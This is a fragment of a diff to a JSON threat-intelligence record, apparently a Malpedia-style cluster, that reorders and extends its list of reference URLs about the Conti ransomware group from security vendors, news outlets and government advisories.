"https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html", - "https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf", - "https://www.prevailion.com/what-wicked-webs-we-unweave/", - "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://intel471.com/blog/conti-vs-monti-a-reinvention-or-just-a-simple-rebranding", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://marcoramilli.com/2021/11/07/conti-ransomware-cheat-sheet/", + "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-2", "https://medium.com/@arnozobec/analyzing-conti-leaks-without-speaking-russian-only-methodology-f5aecc594d1b", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://0xthreatintel.medium.com/reversing-conti-ransomware-bfce15019e74", - "https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd", + "https://us-cert.cisa.gov/ncas/alerts/aa21-265a", + "https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru", + "https://www.advintel.io/post/24-hours-from-log4shell-to-local-admin-deep-dive-into-conti-gang-attack-on-fortune-500-dfir", + "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", + "https://krebsonsecurity.com/2021/10/conti-ransom-gang-starts-selling-access-to-victims/", + "https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://research.checkpoint.com/2022/leaks-of-conti-ransomware-group-paint-picture-of-a-surprisingly-normal-tech-start-up-sort-of/", + "https://threatpost.com/conti-ransomware-decryptor-trickbot-source-code-leaked/178727/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-conti", + "https://blog.qualys.com/vulnerabilities-threat-research/2021/11/18/conti-ransomware", + "https://cocomelonc.github.io/investigation/2022/04/11/malw-inv-conti-2.html", + "https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", + "https://www.silentpush.com/blog/consequences-the-conti-leaks-and-future-problems", + "https://www.cyberscoop.com/ransomware-gang-conti-bounced-back/", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", "https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/", + "https://lifars.com/wp-content/uploads/2021/10/ContiRansomware_Whitepaper.pdf", + "https://www.clearskysec.com/wp-content/uploads/2021/02/Conti-Ransomware.pdf", + "https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", + "https://www.eldiario.es/tecnologia/capos-cibercrimen-avisan-contratacaran-si-hackea-rusia_1_8795458.html", + "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", + "https://www.advintel.io/post/ransomware-advisory-log4shell-exploitation-for-initial-access-lateral-movement", + "https://cocomelonc.github.io/malware/2023/01/04/malware-tricks-26.html", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://www.dragos.com/blog/industry-news/suspected-conti-ransomware-activity-in-the-auto-manufacturing-sector/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://cocomelonc.github.io/investigation/2022/03/27/malw-inv-conti-1.html", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://cocomelonc.github.io/tutorial/2022/04/02/malware-injection-18.html", + "https://www.ironnet.com/blog/ransomware-graphic-blog", + "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/", + "https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/", + "https://securityaffairs.com/141666/cyber-crime/lockbit-green-ransomware-variant.html", + "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", + "https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider", + "https://github.com/whichbuffer/Conti-Ransomware-IOC", + "https://arcticwolf.com/resources/blog/karakurt-web", + "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://nakedsecurity.sophos.com/2021/08/06/conti-ransomware-affiliate-goes-rogue-leaks-company-data/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html", + "https://www.ncsc.gov.ie/pdfs/HSE_Conti_140521_UPDATE.pdf", + "https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/", + "https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf", + "https://www.connectwise.com/resources/conti-profile", + "https://unit42.paloaltonetworks.com/conti-ransomware-gang/", + "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", "http://chuongdong.com/reverse%20engineering/2020/12/15/ContiRansomware/", "https://therecord.media/conti-leaks-the-panama-papers-of-ransomware/", - "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", - "https://cluster25.io/2022/03/02/contis-source-code-deep-dive-into/", - "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", - "https://share.vx-underground.org/Conti/", - "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", - "https://cocomelonc.github.io/tutorial/2022/04/02/malware-injection-18.html", - "https://news.sophos.com/en-us/2022/02/22/cyberthreats-during-russian-ukrainian-tensions-what-can-we-learn-from-history-to-be-prepared/", - "https://www.youtube.com/watch?v=hmaWy9QIC7c", - "https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/", - "https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/", - "https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/", - "https://www.advanced-intel.com/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent", - "https://www.cyberscoop.com/ransomware-gang-conti-bounced-back/", "https://intel471.com/blog/conti-leaks-cybercrime-fire-team", + "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", "https://news.sophos.com/en-us/2021/02/16/conti-ransomware-evasive-by-nature/", - "https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks", - "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", - "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", - "https://assets.sentinelone.com/ransomware-enterprise/conti-ransomware-unpacked", - "https://intel471.com/blog/shipping-companies-ransomware-credentials", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware", - "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-2", - "https://www.youtube.com/watch?v=uORuVVQzZ0A", - "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", - "https://cybersecurity.att.com/blogs/security-essentials/stories-from-the-soc-powershell-proxyshell-conti-ttps-oh-my", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://yoroi.company/research/conti-ransomware-source-code-a-well-designed-cots-ransomware/", - "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", - "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-sound-of-malware.html", - "https://arcticwolf.com/resources/blog/conti-ransomware-leak-analyzed", - "https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/", - "https://twitter.com/AltShiftPrtScn/status/1423188974298861571", - "https://www.redhotcyber.com/post/il-ransomware-conti-si-schiera-a-favore-della-russia", - "https://twitter.com/AltShiftPrtScn/status/1350755169965924352", - "https://www.youtube.com/watch?v=cYx7sQRbjGA", - "https://www.mbsd.jp/2022/03/08/assets/images/MBSD_Summary_of_ContiLeaks_Rev3.pdf", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/", - "https://www.silentpush.com/blog/consequences-the-conti-leaks-and-future-problems", - "https://github.com/whichbuffer/Conti-Ransomware-IOC", - "https://www.bleepingcomputer.com/news/security/conti-ransomwares-internal-chats-leaked-after-siding-with-russia/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://twitter.com/AltShiftPrtScn/status/1417849181012647938", - "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", - "https://marcoramilli.com/2021/11/07/conti-ransomware-cheat-sheet/", - "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", - "https://www.bleepingcomputer.com/news/security/hhs-conti-ransomware-encrypted-80-percent-of-irelands-hse-it-systems/", - "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", - "https://www.bankinfosecurity.com/cybercrime-moves-conti-ransomware-absorbs-trickbot-malware-a-18573", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://blogs.blackberry.com/en/2022/09/the-curious-case-of-monti-ransomware-a-real-world-doppelganger", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://redcanary.com/blog/intelligence-insights-november-2021/", - "https://securelist.com/modern-ransomware-groups-ttps/106824/", - "https://blog.qualys.com/vulnerabilities-threat-research/2021/11/18/conti-ransomware", - "https://www.bleepingcomputer.com/news/security/taiwanese-apple-and-tesla-contractor-hit-by-conti-ransomware/", - "https://www.hse.ie/eng/services/publications/conti-cyber-attack-on-the-hse-full-report.pdf", - "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", - "https://www.ic3.gov/Media/News/2021/210521.pdf", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf", - "https://www.prodaft.com/m/reports/Conti_TLPWHITE_v1.6_WVcSEtc.pdf", - "https://www.advintel.io/post/24-hours-from-log4shell-to-local-admin-deep-dive-into-conti-gang-attack-on-fortune-500-dfir", - "https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf", - "https://us-cert.cisa.gov/ncas/alerts/aa21-265a", - "https://securityaffairs.co/wordpress/128190/cyber-crime/conti-ransomware-takes-over-trickbot.html", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti", - "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf", - "https://github.com/cdong1012/ContiUnpacker", - "https://medium.com/@whickey000/how-i-cracked-conti-ransomware-groups-leaked-source-code-zip-file-e15d54663a8", - "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", - "https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/", - "https://lifars.com/wp-content/uploads/2021/10/ContiRansomware_Whitepaper.pdf", - "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf?1651576098", - "https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked", - "https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/", - "https://www.advanced-intel.com/post/hunting-for-corporate-insurance-policies-indicators-of-ransom-exfiltrations", - "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", - "https://www.bleepingcomputer.com/news/security/angry-conti-ransomware-affiliate-leaks-gangs-attack-playbook/", - "https://www.advintel.io/post/ransomware-advisory-log4shell-exploitation-for-initial-access-lateral-movement", - "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", - "https://www.clearskysec.com/wp-content/uploads/2021/02/Conti-Ransomware.pdf", - "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", - "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://www.ncsc.gov.ie/pdfs/HSE_Conti_140521_UPDATE.pdf", - "https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf", - "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", - "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/", - "https://www.ironnet.com/blog/ransomware-graphic-blog", - "https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve", - "https://arcticwolf.com/resources/blog/karakurt-web", - "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-1", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/", + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://yoroi.company/research/conti-ransomware-source-code-a-well-designed-cots-ransomware/", + "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", + "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://www.bleepingcomputer.com/news/security/taiwanese-apple-and-tesla-contractor-hit-by-conti-ransomware/", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://blog.talosintelligence.com/2021/09/Conti-leak-translation.html", + "https://cybersecurity.att.com/blogs/security-essentials/stories-from-the-soc-powershell-proxyshell-conti-ttps-oh-my", "https://areteir.com/wp-content/uploads/2020/08/Arete_Insight_Is-Conti-the-new-Ryuk_August2020.pdf", - "https://news.sophos.com/en-us/2021/02/16/what-to-expect-when-youve-been-hit-with-conti-ransomware/", - "https://www.bleepingcomputer.com/news/security/ryuk-successor-conti-ransomware-releases-data-leak-site/", - "https://www.bleepingcomputer.com/news/security/hackers-use-contis-leaked-ransomware-to-attack-russian-companies/", - "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://www.bleepingcomputer.com/news/security/conti-ransomware-gang-takes-over-trickbot-malware-operation/", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", - "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", - "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", - "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-conti", - "https://www.advintel.io/post/hydra-with-three-heads-blackbyte-the-future-of-ransomware-subsidiary-groups", - "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", - "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://threatpost.com/affiliate-leaks-conti-ransomware-playbook/168442/", - "https://unit42.paloaltonetworks.com/conti-ransomware-gang/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.threatstop.com/blog/conti-ransomware-source-code-leaked", - "https://cyware.com/news/ransomware-becomes-deadlier-conti-makes-the-most-money-39e17bae/", - "https://www.connectwise.com/resources/conti-profile", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.advanced-intel.com/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent", + "https://www.bankinfosecurity.com/cybercrime-moves-conti-ransomware-absorbs-trickbot-malware-a-18573", + "https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware", + "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", "https://www.secureworks.com/blog/gold-ulrick-continues-conti-operations-despite-public-disclosures", + "https://www.ic3.gov/Media/News/2021/210521.pdf", + "https://damonmccoy.com/papers/Ransomware_eCrime22.pdf", + "https://news.sophos.com/en-us/2021/02/16/what-to-expect-when-youve-been-hit-with-conti-ransomware/", + "https://arcticwolf.com/resources/blog/conti-ransomware-leak-analyzed", + "https://medium.com/@whickey000/how-i-cracked-conti-ransomware-groups-leaked-source-code-zip-file-e15d54663a8", + "https://www.bleepingcomputer.com/news/security/hackers-use-contis-leaked-ransomware-to-attack-russian-companies/", + "https://cocomelonc.github.io/malware/2023/02/10/malware-analysis-8.html", + "https://assets.sentinelone.com/ransomware-enterprise/conti-ransomware-unpacked", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://news.sophos.com/en-us/2022/02/28/conti-and-karma-actors-attack-healthcare-provider-at-same-time-through-proxyshell-exploits/?cmp=30728", + "https://www.darktrace.com/en/blog/the-double-extortion-business-conti-ransomware-gang-finds-new-avenues-of-negotiation/", + "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/", + "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", + "https://www.bleepingcomputer.com/news/security/conti-ransomware-source-code-leaked-by-ukrainian-researcher/", + "https://www.bleepingcomputer.com/news/security/conti-ransomwares-internal-chats-leaked-after-siding-with-russia/", + "https://www.youtube.com/watch?v=cYx7sQRbjGA", + "https://thedfirreport.com/2021/05/12/conti-ransomware/", + "https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/", + "https://www.hse.ie/eng/services/publications/conti-cyber-attack-on-the-hse-full-report.pdf", + "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", + "https://www.threatstop.com/blog/conti-ransomware-source-code-leaked", + "https://blogs.vmware.com/security/2022/09/threat-report-illuminating-volume-shadow-deletion.html", + "https://www.prevailion.com/what-wicked-webs-we-unweave/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", + "https://www.youtube.com/watch?v=hmaWy9QIC7c", + "https://0xthreatintel.medium.com/reversing-conti-ransomware-bfce15019e74", + "https://threatpost.com/affiliate-leaks-conti-ransomware-playbook/168442/", + "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-one", + "https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/", + "https://blog.talosintelligence.com/2022/05/conti-and-hive-ransomware-operations.html", + "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", + "https://cyware.com/news/ransomware-becomes-deadlier-conti-makes-the-most-money-39e17bae/", + "https://news.sophos.com/en-us/2022/02/22/cyberthreats-during-russian-ukrainian-tensions-what-can-we-learn-from-history-to-be-prepared/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", + "https://news.sophos.com/en-us/2021/02/16/conti-ransomware-attack-day-by-day/", + "https://www.bleepingcomputer.com/news/security/angry-conti-ransomware-affiliate-leaks-gangs-attack-playbook/", + "https://www.prodaft.com/m/reports/Conti_TLPWHITE_v1.6_WVcSEtc.pdf", + "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-sound-of-malware.html", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf?1651576098", + "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", - "https://www.advintel.io/post/backup-removal-solutions-from-conti-ransomware-with-love" + "https://intel471.com/blog/conti-vs-monti-a-reinvention-or-just-a-simple-rebranding", + "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", + "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://intel471.com/blog/shipping-companies-ransomware-credentials", + "https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/", + "https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/", + "https://www.advintel.io/post/hydra-with-three-heads-blackbyte-the-future-of-ransomware-subsidiary-groups", + "https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks", + "https://cluster25.io/2022/03/02/contis-source-code-deep-dive-into/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", + "https://github.com/TheParmak/conti-leaks-englished", + "https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked", + "https://twitter.com/AltShiftPrtScn/status/1417849181012647938", + "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", + "https://www.advintel.io/post/backup-removal-solutions-from-conti-ransomware-with-love", + "https://www.youtube.com/watch?v=uORuVVQzZ0A", + "https://www.bleepingcomputer.com/news/security/conti-ransomware-gang-takes-over-trickbot-malware-operation/", + "https://www.elliptic.co/blog/conti-ransomware-nets-at-least-25.5-million-in-four-months", + "https://www.mbsd.jp/2022/03/08/assets/images/MBSD_Summary_of_ContiLeaks_Rev3.pdf", + "https://www.zscaler.com/blogs/security-research/conti-ransomware-attacks-persist-updated-version-despite-leaks", + "https://twitter.com/TheDFIRReport/status/1498642512935800833", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022", + "https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf", + "https://www.redhotcyber.com/post/il-ransomware-conti-si-schiera-a-favore-della-russia", + "https://www.mbsd.jp/research/20210413/conti-ransomware/", + "https://github.com/cdong1012/ContiUnpacker", + "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", + "https://twitter.com/AltShiftPrtScn/status/1350755169965924352", + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://twitter.com/AltShiftPrtScn/status/1423188974298861571", + "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", + "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-two/", + "https://share.vx-underground.org/Conti/", + "https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://securityaffairs.co/wordpress/128190/cyber-crime/conti-ransomware-takes-over-trickbot.html", + "https://www.advanced-intel.com/post/hunting-for-corporate-insurance-policies-indicators-of-ransom-exfiltrations", + "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://therecord.media/disgruntled-ransomware-affiliate-leaks-the-conti-gangs-technical-manuals/", + "https://blogs.blackberry.com/en/2022/09/the-curious-case-of-monti-ransomware-a-real-world-doppelganger", + "https://www.bleepingcomputer.com/news/security/ryuk-successor-conti-ransomware-releases-data-leak-site/", + "https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd", + "https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/", + "https://www.bleepingcomputer.com/news/security/hhs-conti-ransomware-encrypted-80-percent-of-irelands-hse-it-systems/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf" ], "synonyms": [], "type": [] @@ -18318,8 +19427,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.contopee", - "https://web.archive.org/web/20160527050022/https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks", "https://content.fireeye.com/apt/rpt-apt38", + 